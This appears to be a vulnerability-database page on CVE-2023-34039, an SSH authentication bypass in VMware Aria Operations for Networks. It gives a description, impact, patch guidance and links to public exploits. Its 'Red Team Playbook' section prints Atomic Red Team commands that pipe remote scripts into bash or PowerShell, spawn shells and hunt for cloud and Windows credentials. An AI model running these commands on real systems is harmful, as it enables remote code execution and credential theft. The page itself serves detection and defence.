CVE-2023-34039
Overview
This vulnerability is an authentication bypass in Aria Operations for Networks caused by the reuse of cryptographic keys rather than generating unique keys for SSH authentication. The root cause lies in the cryptographic key management process, which fails to produce distinct keys per instance, affecting the SSH authentication mechanism of the product's CLI interface.
Vulnerability Description
Aria Operations for Networks contains an Authentication Bypass vulnerability due to a lack of unique cryptographic key generation. A malicious actor with network access to Aria Operations for Networks could bypass SSH authentication to gain access to the Aria Operations for Networks CLI.
Impact
An unauthenticated attacker with network access can bypass SSH authentication and gain unauthorized CLI access to Aria Operations for Networks. This access allows full control over the device's management interface, potentially leading to data compromise, configuration manipulation, or lateral movement within the network. The vulnerability requires no user interaction and no prior authentication (CVSS vector AV:N/AC:L/PR:N/UI:N), making it highly exploitable in exposed environments.
Solution
VMware has released security advisory VMSA-2023-0018 addressing this issue in Aria Operations for Networks. Users should apply the patches provided in this advisory to ensure unique cryptographic key generation for SSH authentication. Detailed patch instructions and version-specific updates are available at https://www.vmware.com/security/advisories/VMSA-2023-0018.html. No alternative workarounds are specified by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Aria Operations for Networks is characterized by an authentication bypass stemming from inadequate cryptographic key generation. Specifically, the system fails to produce unique cryptographic keys for SSH authentication, which is a critical security mechanism for protecting access to the command-line interface (CLI). This deficiency allows an attacker with network access to exploit the system by bypassing the authentication process entirely. The lack of distinct keys means that an adversary can potentially gain unauthorized access to the CLI, compromising the integrity and confidentiality of the network operations managed by the software.
Attack vectors for this vulnerability are primarily network-based, as an attacker must have access to the network where Aria Operations for Networks is deployed. Once inside the network perimeter, the attacker can leverage the authentication bypass to gain CLI access without needing valid credentials. This exploitation could occur through various means, such as insider threats, compromised devices within the network, or even external attacks that manage to penetrate the network defenses. The ability to execute commands via the CLI could allow the attacker to manipulate network configurations, exfiltrate sensitive data, or deploy further malicious payloads, thereby escalating the attack and potentially leading to a broader compromise of the network environment.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Aria Operations for Networks to manage their network infrastructure. An attacker gaining unauthorized CLI access could disrupt network operations, leading to service outages or degraded performance. Furthermore, the potential for data breaches increases, as sensitive information could be accessed or manipulated. The business risks associated with such an incident include financial losses, reputational damage, and regulatory penalties, especially if the organization is subject to compliance requirements regarding data protection and network security. The high CVSS score of 9.8 underscores the critical nature of this vulnerability and the urgency for organizations to address it.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, network segmentation can reduce the attack surface by limiting access to the Aria Operations for Networks environment. Monitoring network traffic for unusual patterns or unauthorized access attempts can also help identify potential exploitation attempts. Additionally, organizations should ensure that all instances of the software are updated to the latest version, where security patches addressing this vulnerability are applied. Regular security audits and penetration testing can further help in identifying weaknesses in the network and ensuring that robust security measures are in place.
In conclusion, the authentication bypass vulnerability in Aria Operations for Networks poses a severe threat to network security. With the potential for unauthorized access and significant operational impact, organizations must prioritize detection and mitigation efforts. By adopting a proactive security posture that includes network segmentation, continuous monitoring, and timely updates, organizations can safeguard their network operations against exploitation of this vulnerability and enhance their overall cybersecurity resilience.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vmware | Aria Operations For Networks | All |
cpe:2.3:a:vmware:aria_operations_for_networks:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
VMWare Aria Operations for Networks (vRealize Network Insight) SSH Private Key Exposure
exploits/linux/ssh/vmware_vrni_known_privkey
|
h00die, SinSinology, Harsh Jaiswal (@rootxharsh) +1 | Unknown | - | View |
GitHub PoCs (5)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
sinsinology/CVE-2023-34039
VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)
|
sinsinology | 97 | 31 | 2023-09-01 | View |
|
Cyb3rEnthusiast/CVE-2023-34039
Here it is, the VMware newest exploit
|
Cyb3rEnthusiast | 3 | 1 | 2023-09-03 | View |
|
syedhafiz1234/CVE-2023-34039
CVE-2023-34039
|
syedhafiz1234 | 1 | 1 | 2023-09-04 | View |
|
adminxb/CVE-2023-34039
exp
|
adminxb | 0 | 0 | 2023-11-10 | View |
|
CharonDefalt/CVE-2023-34039
VMware exploit
|
CharonDefalt | 0 | 0 | 2023-09-02 | View |
Threat Feed
2 eventsProof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-34039 |
| vmware.com |
GitHub CVE
|
https://www.vmware.com/security/advisories/VMSA-2023-0018.html |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/174452/VMWare-Aria-Operations-For-Networks-Remote-Code-Execution.html |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/175320/VMWare-Aria-Operations-For-Networks-SSH-Private-Key-Exposure.html |